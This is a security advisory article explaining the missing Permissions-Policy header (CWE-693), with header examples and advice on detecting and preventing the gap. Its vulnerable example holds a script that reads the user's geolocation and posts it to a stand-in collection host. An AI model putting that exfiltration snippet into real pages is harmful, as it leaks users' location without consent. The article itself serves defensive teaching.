Skip to content

Missing Permissions-Policy

CWE-693OWASP A05:2021Updated September 4, 20264 min read

The Permissions-Policy determines which browser features a page and its frames may call on: camera, microphone, location, payment requests and more. Without this policy everything is open by default to your own code and to every third-party script you embed. The policy limits the damage of an injection and prevents unintended use by external components.

Browsers can do far more than display pages these days: they operate cameras, microphones, motion sensors and payment requests. Every page may in principle call on those features, and that goes for scripts and frames from third parties you embed as well. A Permissions-Policy records which of those capabilities your application genuinely needs. This article covers how that works, and why it is more than a privacy measure.

What is a Permissions-Policy?

The Permissions-Policy is an HTTP header with which the server states which browser features are available within a page and within the frames loaded inside it. Think of camera, microphone, geolocation, access to motion sensors, the payment request mechanism and screen wake lock. What you do not permit simply does not exist for that page.

The comparison with a building’s key plan suggests itself. A visitor pass grants access to the rooms someone needs, not to the server room and the archive. Not because every visitor is suspect, but because access nobody needs only adds risk. This header works the same way: you give your application precisely the capabilities it uses.

Unlike the browser’s permission prompt, this is not about the user’s choice. The policy operates a level before it: the feature is unavailable, so the question is never asked, not even of a user who once granted permission.

How does a Permissions-Policy work?

The difference becomes visible as soon as code runs in your page that you did not write yourself: an embedded widget, an advertising frame, or script that arrived through an injection.

Vulnerable:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Without a policy the browser defaults apply, and for most features those permit the page to use them. An embedded component can then do the following:

// In a third-party script, or landed in the page through an injection
navigator.geolocation.getCurrentPosition((pos) => {
  fetch('https://collect.example/loc', {
    method: 'POST',
    body: JSON.stringify({ lat: pos.coords.latitude, lon: pos.coords.longitude }),
  });
});

The user sees a permission prompt that appears to come from your site, because that is what sits in the address bar. If they previously granted permission for location, even that prompt does not appear and the coordinates depart immediately.

Safe:

HTTP/1.1 200 OK
Permissions-Policy: camera=(), microphone=(), geolocation=(self),
  payment=(), usb=(), magnetometer=(), accelerometer=(), gyroscope=(),
  fullscreen=(self), interest-cohort=()

The empty parentheses mean: nobody, not even your own page. Camera, microphone and payment requests are thereby fully disabled. For geolocation there is (self), meaning only your own page may call on that feature and an embedded third-party frame may not. The script above now fails at the call itself; there is no permission prompt and nothing to grant.

For a specific exception you name the origin explicitly:

Permissions-Policy: camera=(self "https://videocall.partner.example")
This header works best alongside the others. The Content Security Policy determines which code may run, frame-ancestors who may embed you, and the Permissions-Policy what that code is then still allowed to do. All three are needed, and they do not replace one another.

What is the impact of a missing Permissions-Policy?

This is a hardening finding with a low severity: the absence of the header makes no attack possible that would otherwise be impossible. Its value lies in limiting damage.

If an attacker manages to get script code into your page, this policy partly determines what they can do with it. Without restriction, camera, microphone and location come within reach of that code, with a permission prompt carrying your organisation’s name, which many users will accept precisely because they trust your site. The same applies to embedded third-party components, which can collect data this way that you never intended to share.

There is also a concrete privacy and compliance angle. Under the GDPR you are responsible for what happens through your website, including when an embedded supplier script requests location data. An explicit policy is therefore both a technical measure and demonstrable control of that risk.

How do you detect a missing Permissions-Policy?

Beyond simply checking whether the header is present, it is about completeness. A policy naming only camera and microphone leaves dozens of other features on their default values.

A tester therefore inventories which features the application actually uses and compares that with what the policy permits. They also look at the frames: does an embedded component receive more rights than necessary, for instance because the policy uses * rather than an explicit origin? They check whether the policy is set on all routes and whether the allow attribute on iframe elements does not grant wider rights after all. AssistSec covers this header as part of the broader assessment of your HTTP configuration, where coherence with the CSP and frame protection is what counts; individual headers say less than the whole.

How do you prevent a missing Permissions-Policy?

  • Send a Permissions-Policy on every HTTP response, configured centrally in the web server, proxy or middleware.
  • Work from an explicit list: name every feature you want to restrict, because unnamed features fall back on the browser default.
  • Switch off features you do not use entirely with empty parentheses, for example camera=(), microphone=(), payment=().
  • Limit features you do need to (self), so embedded third-party frames cannot reach them.
  • Name exceptions with the full origin and never use a wildcard.
  • Align the policy with the allow attribute of your iframe elements; the two must not contradict each other.
  • Review the policy when you add new functionality, so it does not quietly become too wide or too strict.

Sources

Frequently asked questions

Does the browser not simply ask for permission?

It does, and that permission prompt remains the main hurdle. But the Permissions-Policy works a layer before it: the feature is simply not there, so the question never appears. That matters for users who granted permission earlier and for third-party scripts that could otherwise ask for access unnoticed.

Does this replace the old Feature-Policy header?

Yes. Feature-Policy was the earlier name for the same mechanism, with a different notation for the values. Modern browsers use Permissions-Policy; you can drop the old header unless you explicitly have to serve very old clients.

Can I restrict iframes with this too?

Yes, and that is one of its strongest uses. The policy applies not only to your own page but to everything you embed, which lets you deny an embedded widget access to camera or location. To block embedding itself, use frame-ancestors in the CSP.

What happens if I forget to name a feature?

Then the browser default applies, which for most features amounts to permitted for your own page. A policy that switches off only a few features is therefore incomplete. Work from a list of features you actually use and close off the rest explicitly.

Related articles

Press / to search · Esc